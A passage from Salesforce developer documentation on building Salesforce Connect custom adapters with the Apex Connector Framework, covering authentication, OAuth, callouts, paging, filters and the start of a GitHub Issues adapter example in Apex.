If the external system requires authentication, Salesforce can provide the authentication credentials from the external data source definition or users' personal settings. This example specifies that the external system doesn't require authentication, but also supports OAuth authentication. To do so, it returns `AuthenticationCapability.ANONYMOUS` and `AuthenticationCapability.OAUTH` in the list of authentication capabilities.

The `getAuthenticationCapabilities` method should always return the same list of authentication types regardless of user, org, or context.

```
global override List<DataSource.AuthenticationCapability>
getAuthenticationCapabilities() {
    // Best Practice: Always return a static list of authentication types
    // Don't query the database, make callouts, or use dynamic logic
    List<DataSource.AuthenticationCapability> capabilities =
        new List<DataSource.AuthenticationCapability>();
    capabilities.add(DataSource.AuthenticationCapability.ANONYMOUS);
    capabilities.add(DataSource.AuthenticationCapability.OAUTH);
    return capabilities;
}
```

This example also specifies that the external system allows SOQL queries, SOSL queries, Salesforce searches, upserting data, and deleting data.

- To allow SOQL, the example declares the `DataSource.Capability.ROW_QUERY` capability.
- To allow SOSL and Salesforce searches, the example declares the `DataSource.Capability.SEARCH` capability.
- To allow upserting external data, the example declares the `DataSource.Capability.ROW_CREATE` and `DataSource.Capability.ROW_UPDATE` capabilities.
- To allow deleting external data, the example declares the `DataSource.Capability.ROW_DELETE` capability.

The `getCapabilities` method should always return the same list of capabilities regardless of configuration or data. The returned capabilities should never change based on runtime conditions, user context, dynamic queries, or any other conditions.

```
global override List<DataSource.Capability> getCapabilities() {
    // Best Practice: Return a static list of functional capabilities
    // Don't query the database, make callouts, or use dynamic logic
    List<DataSource.Capability> capabilities = new
    List<DataSource.Capability>();
```



```

capabilities.add(DataSource.Capability.ROW_QUERY);
capabilities.add(DataSource.Capability.SEARCH);
capabilities.add(DataSource.Capability.ROW_CREATE);
capabilities.add(DataSource.Capability.ROW_UPDATE);
capabilities.add(DataSource.Capability.ROW_DELETE);
return capabilities;
}

```



Warning: When you call the `getAuthenticationCapabilities` or `getCapabilities` methods, be sure the returned list always contains the same values. Never use a SOQL query, callout, or any conditional logic that changes the returned values based on runtime conditions. Returning varying lists of authentication capabilities or capabilities for an external system can lead to errors that are difficult to troubleshoot.

Lastly, the example identifies the `SampleDataSourceConnection` class that obtains the external system's schema and handles the queries and searches of the external data.

```

global override DataSource.Connection getConnection(
    DataSource.ConnectionParams connectionParams) {
    return new SampleDataSourceConnection(connectionParams);
}

```

SEE ALSO:

[Apex Reference Guide: Provider Class](#)

Set Up Salesforce Connect to Use Your Custom Adapter

After you create your `DataSource.Connection` and `DataSource.Provider` classes, the Salesforce Connect custom adapter becomes available in Setup.

Complete the tasks that are described in “[Set Up Salesforce Connect to Access External Data with a Custom Adapter](#)” in the Salesforce Help.

To add write capability for external objects to your adapter:

1. Make the external data source for this adapter writable. See “[Define an External Data Source for Salesforce Connect—Custom Adapter](#)” in the Salesforce Help.
2. Implement the `DataSource.Connection.upsertRows()` and `DataSource.Connection.deleteRows()` methods for the adapter. For details, see [Connection Class](#).

Key Concepts About the Apex Connector Framework

The `DataSource` namespace provides the classes for the Apex Connector Framework. Use the Apex Connector Framework to develop a custom adapter for Salesforce Connect. Then connect your Salesforce org to any data anywhere via the Salesforce Connect custom adapter.

We recommend that you learn about some key concepts to help you use the Apex Connector Framework effectively.

[External IDs for Salesforce Connect External Objects](#)

When you access external data with a custom adapter for Salesforce Connect, the values of the External ID standard field on an external object come from the `DataSource.Column` named `ExternalId`.

Authentication for Salesforce Connect Custom Adapters

Your `DataSource.Provider` class declares what types of credentials can be used to authenticate to the external system.

Callouts for Salesforce Connect Custom Adapters

Just like any other Apex code, a Salesforce Connect custom adapter can make callouts. If the connection to the external system requires authentication, incorporate the authentication parameters into the callout.

Paging with the Apex Connector Framework

When displaying a large set of records in the user interface, Salesforce breaks the set into batches and displays one batch. You can then page through those batches. However, custom adapters for Salesforce Connect don't automatically support paging of any kind. To support paging through external object data that's obtained by a custom adapter, implement server-driven or client-driven paging.

queryMore with the Apex Connector Framework with the Apex Connector Framework

Custom adapters for Salesforce Connect don't automatically support the `queryMore` method in API queries. However, your implementation must be able to break up large result sets into batches and iterate over them by using the `queryMore` method in the SOAP API. The default batch size is 500 records, but the query developer can adjust that value programmatically in the query call.

Aggregation for Salesforce Connect Custom Adapters

If you receive a `COUNT()` query, the selected column has the value `QueryAggregation.COUNT` in its `aggregation` property. The selected column is provided in the `columnsSelected` property on the `tableSelection` for the `DataSource.QueryContext`.

Filters in the Apex Connector Framework

The `DataSource.QueryContext` contains one `DataSource.TableSelection`. The `DataSource.SearchContext` can have more than one `TableSelection`. Each `TableSelection` has a `filter` property that represents the `WHERE` clause in a SOQL or SOSL query.

External IDs for Salesforce Connect External Objects

When you access external data with a custom adapter for Salesforce Connect, the values of the External ID standard field on an external object come from the `DataSource.Column` named `ExternalId`.

Each external object has an `External ID` standard field. Its values uniquely identify each external object record in your org. When the external object is the parent in an external lookup relationship, the External ID standard field is used to identify the child records.

Important:

- The custom adapter's Apex code must declare the `DataSource.Column` named `ExternalId` and provide its values.
- Don't use sensitive data as the values of the External ID standard field or fields designated as name fields, because Salesforce sometimes stores those values.
 - External lookup relationship fields on child records store and display the External ID values of the parent records.
 - For internal use only, Salesforce stores the External ID value of each row that's retrieved from the external system. This behavior doesn't apply to external objects that are associated with high-data-volume external data sources.



Example: This excerpt from a sample `DataSource.Connection` class shows the `DataSource.Column` named `ExternalId`.

```
override global List<DataSource.Table> sync() {
    List<DataSource.Table> tables =
        new List<DataSource.Table>();
```

```

List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(DataSource.Column.text('title', 255));
columns.add(DataSource.Column.text('description', 255));
columns.add(DataSource.Column.text('createdDate', 255));
columns.add(DataSource.Column.text('modifiedDate', 255));
columns.add(DataSource.Column.url('selfLink'));
columns.add(DataSource.Column.url('DisplayUrl'));
columns.add(DataSource.Column.text('ExternalId', 255));
tables.add(DataSource.Table.get('googleDrive', 'title',
    columns));
return tables;
}

```

SEE ALSO:

[Apex Reference Guide: Column Class](#)

Authentication for Salesforce Connect Custom Adapters

Your `DataSource.Provider` class declares what types of credentials can be used to authenticate to the external system.

If your extension of the `DataSource.Provider` class returns `DataSource.AuthenticationCapability` values that indicate support for authentication, the `DataSource.Connection` class is instantiated with a `DataSource.ConnectionParams` instance in the constructor.

The authentication credentials in the `DataSource.ConnectionParams` instance depend on the `Identity Type` field of the external data source definition in Salesforce.

- If `Identity Type` is set to `Named Principal`, the credentials come from the external data source definition.
- If `Identity Type` is set to `Per User`:
 - For queries and searches, the credentials are specific to the current user who invokes the query or search. The credentials come from the user's authentication settings for the external system.
 - For administrative connections, such as syncing the external system's schema, the credentials come from the external data source definition.

[OAuth for Salesforce Connect Custom Adapters](#)

If you use OAuth 2.0 to access external data, learn how to avoid access interruptions caused by expired access tokens.

SEE ALSO:

[OAuth for Salesforce Connect Custom Adapters](#)

OAuth for Salesforce Connect Custom Adapters

If you use OAuth 2.0 to access external data, learn how to avoid access interruptions caused by expired access tokens.

Some external systems use OAuth access tokens that expire and need to be refreshed. We can automatically refresh access tokens as needed when:

- The user or external data source has a valid refresh token from a previous OAuth flow.

- The sync, query, or search method in your `DataSource.Connection` class throws a `DataSource.OAuthTokenExpiredException`.

We use the relevant OAuth credentials for the user or external data source to negotiate with the remote service and refresh the token. The `DataSource.Connection` class is reconstructed with the new OAuth token in the `DataSource.ConnectionParams` that we supply to the constructor. The search or query is then reinvoked.

If the authentication provider doesn't provide a refresh token, access to the external system is lost when the current access token expires. If a warning message appears on the external data source detail page, consult your OAuth provider for information about requesting offline access or a refresh token.

For some authentication providers, requesting offline access is as simple as adding a scope. For example, to request offline access from a Salesforce authentication provider, add `refresh_token` to the `Default Scopes` field on the authentication provider definition in your Salesforce organization.

For other authentication providers, you must request offline access in the authentication URL as a query parameter. For example, with Google, append `?access_type=offline` to the `Authorize Endpoint URL` field on the authentication provider definition in your Salesforce organization. To edit the authorization endpoint, select **Open ID Connect** in the `Provider Type` field of the authentication provider. For details, see “Configure an OpenID Connect Authentication Provider” in the Salesforce Help.

SEE ALSO:

[Authentication for Salesforce Connect Custom Adapters](#)

Callouts for Salesforce Connect Custom Adapters

Just like any other Apex code, a Salesforce Connect custom adapter can make callouts. If the connection to the external system requires authentication, incorporate the authentication parameters into the callout.

Authentication parameters are encapsulated in a `ConnectionParams` object and provided to your `DataSource.Connection` class's constructor.

For example, if your connection requires an OAuth access token, use code similar to the following.

```
public HttpResponse getResponse(String url) {
    Http httpProtocol = new Http();
    HttpRequest request = new HttpRequest();
    request.setEndPoint(url);
    request.setMethod('GET');
    request.setHeader('Authorization', 'Bearer ' +
        this.connectionInfo.oauthToken);
    HttpResponse response = httpProtocol.send(request);
    return response;
}
```

If your connection requires basic password authentication, use code similar to the following.

```
public HttpResponse getResponse(String url) {
    Http httpProtocol = new Http();
    HttpRequest request = new HttpRequest();
    request.setEndPoint(url);
    request.setMethod('GET');
    string encodedHeaderValue = EncodingUtil.base64Encode(Blob.valueOf(
        this.connectionInfo.username + ':' +
        this.connectionInfo.password));
    request.setHeader('Authorization', 'Basic ' + encodedHeaderValue);
    HttpResponse response = httpProtocol.send(request);
}
```

```

    return response;
}

```

Named Credentials as Callout Endpoints for Salesforce Connect Custom Adapters

A Salesforce Connect custom adapter obtains the relevant credentials that are stored in Salesforce whenever they're needed. However, your Apex code must apply those credentials to all callouts, except those that specify named credentials as the callout endpoints. A named credential lets Salesforce handle the authentication logic for you so that your code doesn't have to.

If all your custom adapter's callouts use named credentials, you can set the external data source's `Authentication Protocol` field to **No Authentication**. The named credentials add the appropriate certificates and can add standard authorization headers to the callouts. You also don't need to define a remote site for an Apex callout endpoint that's defined as a named credential.

SEE ALSO:

[Named Credentials as Callout Endpoints](#)

Paging with the Apex Connector Framework

When displaying a large set of records in the user interface, Salesforce breaks the set into batches and displays one batch. You can then page through those batches. However, custom adapters for Salesforce Connect don't automatically support paging of any kind. To support paging through external object data that's obtained by a custom adapter, implement server-driven or client-driven paging.

With server-driven paging, the external system controls the paging and ignores any batch boundaries or page sizes that are specified in queries. To enable server-driven paging, declare the `QUERY_PAGINATION_SERVER_DRIVEN` capability in your `DataSource.Provider` class. Also, your Apex code must generate a query token and use it to determine and fetch the next batch of results.

With client-driven paging, you use `LIMIT` and `OFFSET` clauses to page through result sets. Factor in the `offset` and `maxResults` properties in the `DataSource.QueryContext` to determine which rows to return. For example, suppose that the result set has 20 rows with numeric `ExternalID` values from 1 to 20. If we ask for an `offset` of 5 and `maxResults` of 5, we expect to get the rows with IDs 6–10. We recommend that you do all filtering in the external system, outside of Apex, using methods that the external system supports.

SEE ALSO:

[Apex Reference Guide: QueryContext Class](#)

queryMore with the Apex Connector Framework with the Apex Connector Framework

Custom adapters for Salesforce Connect don't automatically support the `queryMore` method in API queries. However, your implementation must be able to break up large result sets into batches and iterate over them by using the `queryMore` method in the SOAP API. The default batch size is 500 records, but the query developer can adjust that value programmatically in the query call.

To support `queryMore`, your implementation must indicate whether more data exists than what's in the current batch. When the Lightning Platform knows that more data exists, your API queries return a `QueryResult` object that's similar to the following.

```

{
    "totalSize" => -1,
    "done" => false,
    "nextRecordsUrl" => "/services/data/v32.0/query/01gxx000000B5OgAAK-2000",
    "records" => [
        [ 0 ] {
            "attributes" => {

```

```

        "type" => "Sample__x",
        "url" =>
            "/services/data/v32.0/subjects/Sample__x/x06xx0000000001AAA"
    },
    "ExternalId" => "id0"
},
[ 1] {
    "attributes" => {
        "type" => "Sample__x",
        "url" =>
            "/services/data/v32.0/subjects/Sample__x/x06xx0000000002AAA"
    },
    ...
}

```

[Support queryMore by Using Server-Driven Paging by Using Server-Driven Paging](#)

With server-driven paging, the external system controls the paging and ignores any batch boundaries or page sizes that are specified in queries. To enable server-driven paging, declare the `QUERY_PAGINATION_SERVER_DRIVEN` capability in your `DataSource.Provider` class.

[Support queryMore by Using Client-Driven Paging](#)

With client-driven paging, you use `LIMIT` and `OFFSET` clauses to page through result sets.

Support queryMore by Using Server-Driven Paging by Using Server-Driven Paging

With server-driven paging, the external system controls the paging and ignores any batch boundaries or page sizes that are specified in queries. To enable server-driven paging, declare the `QUERY_PAGINATION_SERVER_DRIVEN` capability in your `DataSource.Provider` class.

When the returned `DataSource.TableResult` doesn't contain the entire result set, the `TableResult` must provide a `queryMoreToken` value. The query token is an arbitrary string that we store temporarily. When we request the next batch of results, we pass the query token back to your custom adapter in the `DataSource.QueryContext`. Your Apex code must use that query token to determine which rows belong to the next batch of results.

When your custom adapter returns the final batch, it must not return a `queryMoreToken` value in the `TableResult`.

The Apex Connector Framework doesn't support server-driven pagination for list views.

SEE ALSO:

[queryMore with the Apex Connector Framework with the Apex Connector Framework](#)

Support **queryMore** by Using Client-Driven Paging

With client-driven paging, you use `LIMIT` and `OFFSET` clauses to page through result sets.

If the external system can return the total size of the result set for each query, declare the `QUERY_TOTAL_SIZE` capability in your `DataSource.Provider` class. Make sure that each search or query returns the `totalSize` value in the `DataSource.TableResult`. If the total size is larger than the number of rows that are returned in the batch, we generate a `nextRecordsUrl` link and set the `done` flag to `false`. We also set the `totalSize` in the `TableResult` to the value that you supply.

If the external system can't return the total size for each query, don't declare the `QUERY_TOTAL_SIZE` capability in your `DataSource.Provider` class. Whenever we do a query through your custom adapter, we ask for one extra row. For example, if

you run the query `SELECT ExternalId FROM Sample LIMIT 5`, we call the `query` method on the `DataSource.Connection` object with a `DataSource.QueryContext` that has the `maxResults` property set to 6. The presence or absence of that sixth row in the result set indicates whether more data is available. We assume, however, that the data set we query against doesn't change between queries. If the data set changes between queries, you might see repeated rows or not get all results.

Ultimately, accessing external data works most efficiently when you retrieve small amounts of data and the data set that you query against changes infrequently.

SEE ALSO:

[queryMore with the Apex Connector Framework with the Apex Connector Framework](#)

Aggregation for Salesforce Connect Custom Adapters

If you receive a `COUNT()` query, the selected column has the value `QueryAggregation.COUNT` in its `aggregation` property. The selected column is provided in the `columnsSelected` property on the `tableSelection` for the `DataSource.QueryContext`.

The following example illustrates how to apply the value of the `aggregation` property to handle `COUNT()` queries.

```
// Handle COUNT() queries
if (context.tableSelection.columnsSelected.size() == 1 &&
    context.tableSelection.columnsSelected.get(0).aggregation ==
        QueryAggregation.COUNT) {
    List<Map<String, Object>> countResponse = new List<Map<String, Object>>();
    Map<String, Object> countRow = new Map<String, Object>();
    countRow.put(context.tableSelection.columnsSelected.get(0).columnName,
        response.size());
    countResponse.add(countRow);
    return countResponse;
}
```

An aggregate query can still have filters, so your query method can be implemented like the following example to support basic aggregation queries, with or without filters.

```
override global DataSource.TableResult query(DataSource.QueryContext context) {
    List<Map<String, Object>> rows = retrieveData(context);
    List<Map<String, Object>> response = postFilterRecords(
        context.tableSelection.filter, rows);
    if (context.tableSelection.columnsSelected.size() == 1 &&
        context.tableSelection.columnsSelected.get(0).aggregation ==
            DataSource.QueryAggregation.COUNT) {
        List<Map<String, Object>> countResponse = new List<Map<String,
            Object>>();
        Map<String, Object> countRow = new Map<String, Object>();
        countRow.put(context.tableSelection.columnsSelected.get(0).columnName,
            response.size());
        countResponse.add(countRow);
        return DataSource.TableResult.get(context, countResponse);
    }
}
```

```
return DataSource.TableResult.get(context, response);
}
```

SEE ALSO:

[Apex Reference Guide: QueryContext Class](#)

[Create a Sample DataSource.Connection Class](#)

Filters in the Apex Connector Framework

The `DataSource.QueryContext` contains one `DataSource.TableSelection`. The `DataSource.SearchContext` can have more than one `TableSelection`. Each `TableSelection` has a `filter` property that represents the `WHERE` clause in a SOQL or SOSL query.

For example, when a user goes to an external object's record detail page, your `DataSource.Connection` is executed. Behind the scenes, we generate a SOQL query similar to the following.

```
SELECT columnNames
FROM externalObjectApiName
WHERE ExternalId = 'selectedExternalObjectExternalId'
```

This SOQL query causes the `query` method on your `DataSource.Connection` class to be invoked. The following code can detect this condition.

```
if (context.tableSelection.filter != null) {
    if (context.tableSelection.filter.type == DataSource.FilterType.EQUALS
        && 'ExternalId' == context.tableSelection.filter.columnName
        && context.tableSelection.filter.columnValue instanceof String) {
        String selection = (String) context.tableSelection.filter.columnValue;
        return DataSource.TableResult.get(true, null,
            tableSelection.tableSelected, findSingleResult(selection));
    }
}
```

This code example assumes that you implemented a `findSingleResult` method that returns a single record, given the selected `ExternalId`. Make sure that your code obtains the record that matches the requested `ExternalId`.

[Evaluating Filters in the Apex Connector Framework](#)

A filter evaluates to true for a row if that row matches the conditions that the filter describes.

[Compound Filters in the Apex Connector Framework](#)

Filters can have child filters, which are stored in the `subfilters` property.

Evaluating Filters in the Apex Connector Framework

A filter evaluates to true for a row if that row matches the conditions that the filter describes.

For example, suppose that a `DataSource.Filter` has `columnName` set to `meaningOfLife`, `columnValue` set to 42, and `type` set to `EQUALS`. Any row in the remote table whose `meaningOfLife` column entry equals 42 is returned.

Suppose, instead, that the filter has `type` set to `LESS_THAN`, `columnValue` set to 3, and `columnName` set to `numericCol`. We'd construct a `DataSource.TableResult` object that contains all the rows that have a `numericCol` value less than 3.

To improve performance, do all the filtering in the external system. You can, for example, translate the `Filter` object into a SQL or OData query, or map it to parameters on a SOAP query. If the external system returns a large set of data, and you do the filtering in your Apex code, you quickly exceed your governor limits.

If you can't do all the filtering in the external system, do as much as possible there and return as little data as possible. Then filter the smaller collection of data in your Apex code.

SEE ALSO:

[Apex Reference Guide: Filter Class](#)

Compound Filters in the Apex Connector Framework

Filters can have child filters, which are stored in the `subfilters` property.

If a filter has children, the filter `type` must be one of the following.

Filter Type	Description
AND_	We return all rows that match <i>all</i> of the subfilters.
OR_	We return all rows that match <i>any</i> of the subfilters.
NOT_	The filter reverses how its child filter evaluates rows. Filters of this type can have only one subfilter.

This code example illustrates how to deal with compound filters.

```

override global DataSource.TableResult query(DataSource.QueryContext context) {
    // Call out to an external data source and retrieve a set of records.
    // We should attempt to get as much information as possible about the
    // query from the QueryContext, to minimize the number of records
    // that we return.
    List<Map<String,Object>> rows = retrieveData(context);

    // This only filters the results. Anything in the query that we don't
    // currently support, such as aggregation or sorting, is ignored.
    return DataSource.TableResult.get(context, postFilterRecords(
        context.tableSelection.filter, rows));
}

private List<Map<String,Object>> retrieveData(DataSource.QueryContext context) {
    // Call out to an external data source. Form the callout so that
    // it filters as much as possible on the remote site,
    // based on the parameters in the QueryContext.
    return ...;
}

private List<Map<String,Object>> postFilterRecords(
    DataSource.Filter filter, List<Map<String,Object>> rows) {
    if (filter == null) {
        return rows;
    }
    DataSource.FilterType type = filter.type;
    List<Map<String,Object>> retainedRows = new List<Map<String,Object>>();

```

```

if (type == DataSource.FilterType.NOT_) {
    // We expect one Filter in the subfilters.
    DataSource.Filter subfilter = filter.subfilters.get(0);
    for (Map<String,Object> row : rows) {
        if (!evaluate(filter, row)) {
            retainedRows.add(row);
        }
    }
    return retainedRows;
} else if (type == DataSource.FilterType.AND_) {
    // For each filter, find all matches; anything that matches ALL filters
    // is returned.
    retainedRows = rows;
    for (DataSource.Filter subfilter : filter.subfilters) {
        retainedRows = postFilterRecords(subfilter, retainedRows);
    }
    return retainedRows;
} else if (type == DataSource.FilterType.OR_) {
    // For each filter, find all matches. Anything that matches
    // at least one filter is returned.
    for (DataSource.Filter subfilter : filter.subfilters) {
        List<Map<String,Object>> matchedRows = postFilterRecords(
            subfilter, rows);
        retainedRows.addAll(matchedRows);
    }
    return retainedRows;
} else {
    // Find all matches for this filter in our collection of records.
    for (Map<String,Object> row : rows) {
        if (evaluate(filter, row)) {
            retainedRows.add(row);
        }
    }
    return retainedRows;
}
}

private Boolean evaluate(DataSource.Filter filter, Map<String,Object> row) {
    if (filter.type == DataSource.FilterType.EQUALS) {
        String columnName = filter.columnName;
        Object expectedValue = filter.columnValue;
        Object foundValue = row.get(columnName);
        return expectedValue.equals(foundValue);
    } else {
        // Throw an exception; implementing other filter types is left
        // as an exercise for the reader.
        throwException('Unexpected filter type: ' + filter.type);
    }
    return false;
}

```

SEE ALSO:

[Apex Reference Guide: Filter Class](#)

Considerations for the Apex Connector Framework

Understand the limits and considerations for creating Salesforce Connect custom adapters with the Apex Connector Framework.

- If you change and save a `DataSource.Connection` class, resave the corresponding `DataSource.Provider` class. Otherwise, when you define the external data source, the custom adapter doesn't appear as an option for the `Type` field. Also, the associated external objects' custom tabs no longer appear in the Salesforce UI.
- DML operations aren't allowed in the Apex code that comprises the custom adapter.
- Make sure that you understand the limits of the external system's APIs. For example, some external systems accept only requests for up to 40 rows.
- Apex data type limitations:
 - Double—The value loses precision beyond 18 significant digits. For higher precision, use decimals instead of doubles.
 - String—If the length is greater than 255 characters, the string is mapped to a long text area field in Salesforce.
- Custom adapters for Salesforce Connect are subject to the same limitations as any other Apex code. For example:
 - All Apex governor limits apply.
 - Test methods don't support web service callouts. Tests that perform web service callouts fail. For an example that shows how to avoid these failing tests by returning mock responses, see [Google Drive™ Custom Adapter for Salesforce Connect](#) on page 566.
- In Apex tests, use dynamic SOQL to query external objects. Tests that perform static SOQL queries of external objects fail.

SEE ALSO:

[Dynamic SOQL](#)

Apex Connector Framework Examples

These examples illustrate how to use the Apex Connector Framework to create custom adapters for Salesforce Connect.

[GitHub Issues Custom Adapter for Salesforce Connect](#)

This example creates a custom adapter that links GitHub Issues to products in Salesforce using an indirect lookup relationship. An external lookup relationship also links GitHub Issues to the comments on each issue.

[GitHub Custom Adapter for Salesforce Connect](#)

This example illustrates how to support indirect lookup relationships. An indirect lookup relationship links a child external object to a parent standard or custom object.

[Google Drive™ Custom Adapter for Salesforce Connect](#)

This example illustrates how to use callouts and OAuth to connect to an external system, which in this case is the Google Drive™ online storage service. The example also shows how to avoid failing tests from web service callouts by returning mock responses for test methods.

[Google Books™ Custom Adapter for Salesforce Connect](#)

This example illustrates how to work around the requirements and limits of an external system's APIs: in this case, the Google Books API Family.

[Loopback Custom Adapter for Salesforce Connect](#)

This example illustrates how to handle filtering in queries. For simplicity, this example connects the Salesforce org to itself as the external system.

[Stack Overflow Custom Adapter for Salesforce Connect](#)

This example illustrates how to support external lookup relationships and multiple tables. An external lookup relationship links a child standard, custom, or external object to a parent external object. Each table can become an external object in the Salesforce org.

GitHub Issues Custom Adapter for Salesforce Connect

This example creates a custom adapter that links GitHub Issues to products in Salesforce using an indirect lookup relationship. An external lookup relationship also links GitHub Issues to the comments on each issue.

This example illustrates a range of common use cases for custom adapters, including how to:

- Query external data.
- Work with a range of external object field types, such as Date and Picklist fields.
- Use indirect lookup relationships, which link a child external object to a parent standard or custom object.
- Use external lookup relationships, which link a child standard, custom, or external object to a parent external object.
- Use Data Manipulation Language (DML) operations to insert, update, and delete external data.

To improve unit tests for the Apex code in this example, you can also return mock records in a testing context. See [Mock SOQL Tests for External Objects](#) on page 531.

DataSource.Connection Class

This example creates a class named `GitHubDataSourceConnection`. For this example to work, create a custom field on the Product2 standard object. Specify the name of the custom text field as Repository, and select the External ID and Unique attributes.

```
/**
 * Defines the connection to GitHub REST API v3 to support
 * querying of GitHub profiles.
 * Extends the DataSource.Connection class to enable
 * Salesforce to sync the external system's schema
 * and to handle queries and searches of the external data.
 */
global class GitHubDataSourceConnection extends DataSource.Connection {
    private DataSource.ConnectionParams connectionInfo;

    /**
     * Constructor for GitHubDataSourceConnection
     */
    global GitHubDataSourceConnection(DataSource.ConnectionParams connectionInfo) {
        this.connectionInfo = connectionInfo;
    }

    /**
     * Called to query and get results from the external
     * system for SOQL queries, list views, and detail pages
     * for an external object that's associated with the
     * external data source.
     *
     * The queryContext argument represents the query to run
     * against a table in the external system.
     *
     * Returns a list of rows as the query results.
     */
}
```

```

    /**
    override global DataSource.TableResult query(DataSource.QueryContext context) {
        DataSource.Filter filter = context.tableSelection.filter;
        String url, tableName;

        if(context.tableSelection.tableSelected.equals('GithubIssues')) {
            tableName = 'GithubIssues';
            if (filter != null) {
                String thisColumnName = filter.columnName;
                if (thisColumnName != null &&
                    (thisColumnName.equals('ExternalId') ||
                     thisColumnName.equals('number')))
                    url = 'callout:GithubNC/issues/' + filter.columnValue;
                else
                    url = 'callout:GithubNC/issues';
            } else {
                url = 'callout:GithubNC/issues';
            }
        } else if(context.tableSelection.tableSelected.equals('IssueComments')) {
            tableName = 'IssueComments';
            if (filter != null) {
                String thisColumnName = filter.columnName;
                if (thisColumnName != null &&
                    (thisColumnName.equals('ExternalId') ||
                     thisColumnName.equals('id')))
                    url = 'callout:GithubNC/issues/comments/' + filter.columnValue;
                else
                    url = 'callout:GithubNC/issues/comments';
            } else {
                url = 'callout:GithubNC/issues/comments';
            }
        }

        /**
        * Filters, sorts, and applies limit and offset clauses.
        */
        List<Map<String, Object>> rows = DataSource.QueryUtils.process(context, getData(url,
        tableName));
        return DataSource.TableResult.get(true, null, context.tableSelection.tableSelected,
        rows);
    }

    /**
    * Defines the schema for the external system.
    * Called when the Salesforce admin clicks "Validate and Sync"
    * in the user interface for the external data source.
    */
    override global List<DataSource.Table> sync() {
        List<DataSource.Table> tables = new List<DataSource.Table>();
        List<DataSource.Column> columns, commentsColumns;
        columns = new List<DataSource.Column>();
        commentsColumns = new List<DataSource.Column>();

        // Defines the external lookup field.

```

```

        commentsColumns.add(DataSource.Column.externalLookup('issue_number',
'GithubIssues__x'));
        commentsColumns.add(DataSource.Column.text('ExternalId', 255));
        commentsColumns.add(DataSource.Column.url('DisplayUrl'));
        commentsColumns.add(DataSource.Column.text('Body'));
        commentsColumns.add(DataSource.Column.text('Created_By'));
        commentsColumns.add(DataSource.Column.datetime('Created'));
        commentsColumns.add(DataSource.Column.datetime('Updated'));
        tables.add(DataSource.Table.get('IssueComments','id', commentsColumns));

//=====

// Defines the indirect lookup field. (For this to work,
// make sure your Product2 standard object has a
// custom unique, external ID field called Repository.)
columns.add(DataSource.Column.indirectLookup('repository_url', 'Product2',
'Repository__c'));
columns.add(DataSource.Column.text('ExternalId',255));
columns.add(DataSource.Column.url('DisplayUrl'));
columns.add(DataSource.Column.text('Title',255));
columns.add(DataSource.Column.text('Description'));
columns.add(DataSource.Column.text('Repo_Name'));
columns.add(DataSource.Column.url('Repo_URL'));
List<Map<String,String>> stateList = new List<Map<String, String>>();
Map<String, String> open = new Map<String,String>();
open.put('Open', 'Open');
stateList.add(open);
Map<String, String> closed = new Map<String,String>();
closed.put('Closed', 'Closed');
stateList.add(closed);
columns.add(DataSource.Column.picklist('State',stateList));

List<Map<String,String>> stateReasonList = new List<Map<String, String>>();
Map<String, String> completed = new Map<String,String>();
completed.put('Completed', 'completed');
stateReasonList.add(completed);
Map<String, String> reopened = new Map<String,String>();
reopened.put('Reopened', 'reopened');
stateReasonList.add(reopened);
Map<String, String> notPlanned = new Map<String,String>();
notPlanned.put('Not Planned', 'not_planned');
stateReasonList.add(notPlanned);
columns.add(DataSource.Column.picklist('State_Reason',stateReasonList));

columns.add(DataSource.Column.boolean('Locked'));
columns.add(DataSource.Column.text('Lock_Reason', 255));
columns.add(DataSource.Column.datetime('Created'));
columns.add(DataSource.Column.datetime('Updated'));
columns.add(DataSource.Column.datetime('Closed_At'));

tables.add(DataSource.Table.get('GithubIssues','repository_url', columns));
return tables;
}

```

```

/**
 * Called to do a full text search and get results from
 * the external system for SOSL queries and Salesforce
 * global searches.
 *
 * The SearchContext argument represents the query to run
 * against a table in the external system.
 *
 * Returns results for each table that the SearchContext
 * requested to be searched.
 */
@Override global List<DataSource.TableResult> search(
    DataSource.SearchContext context) {
    List<DataSource.TableResult> results =
        new List<DataSource.TableResult>();

    for (Integer i = 0; i < context.tableSelections.size(); i++) {
        String entity = context.tableSelections[i].tableSelected;

        String url = 'callout:GithubNC/issues/' + context.searchPhrase;
        results.add(DataSource.TableResult.get(true, null, entity, getData(url,
entity)));
    }

    return results;
}

global override List<DataSource.UpsertResult> upsertRows (DataSource.UpsertContext
context) {
    List<DataSource.UpsertResult> results = new List<DataSource.UpsertResult>();
    String tableName = context.tableSelected;

    // Calls the GitHub API to create and update issues.
    List<Map<String, Object>> rows = context.rows;
    for(Integer i = 0; i < rows.size(); i++) {
        Map<String, Object> row = rows[i];
        Map<String, Object> obj = new Map<String, Object>();
        String externalId = (String) row.get('ExternalId');
        String url, httpMethod;

        if(tableName.equals('GithubIssues')) {
            url = 'callout:GithubNC/issues';
            httpMethod = 'POST';
            if(!String.isBlank(externalId)){
                httpMethod = 'PATCH';
                url = url+'/'+externalId;
            }

            obj.put('title', row.get('Title'));
            obj.put('body', row.get('Description'));
            obj.put('state', row.get('State'));
            obj.put('state_reason', String.isBlank((String) row.get('State_Reason'))?
null: row.get('State_Reason'));

```

```

        obj.put('closed_at', row.get('Closed_At'));
    }
    else if(tableName.equals('IssueComments')) {
        url = 'callout:GithubNC/issues';
        if(!String.isBlank(externalId)){
            httpMethod = 'PATCH';
            url = url+ '/comments/'+externalId;
        } else {
            httpMethod = 'POST';
            url = url+ '/' + row.get('issue_number') + '/comments';
        }
        obj.put('body', row.get('Body'));
    }

    HttpResponse response = getResponse(url, httpMethod, obj);
    if (response.getStatusCode() != 200){
        results.add(DataSource.UpsertResult.failure(
            String.valueOf(row.get('ExternalId')), 'The callout resulted in an
error: ' + response.getStatusCode()+ ' - '+response.getBody()));
    }
    System.debug(response.getBody());

    if(tableName.equals('GithubIssues')) {
        HttpResponse responseForLock = null;
        if(!String.isBlank(externalId)) {
            Boolean currentlyLocked = isIssueLockedCurrently(url);
            Boolean isLocked = (Boolean) row.get('Locked');
            Boolean lockStatusChanged = currentlyLocked != isLocked;
            if(lockStatusChanged) {
                url = url + '/lock';
                if(isLocked) {
                    Map<String, Object> lockReasonObj = new Map<String, Object>();

                    lockReasonObj.put('lock_reason', row.get('Lock_Reason'));
                    responseForLock = getResponse(url, 'PUT', lockReasonObj);
                }
                else {
                    responseForLock = getResponse(url, 'DELETE', null);
                }

                if (responseForLock.getStatusCode() != 200) {
                    results.add(DataSource.UpsertResult.failure(
                        String.valueOf(row.get('ExternalId')), 'The callout resulted
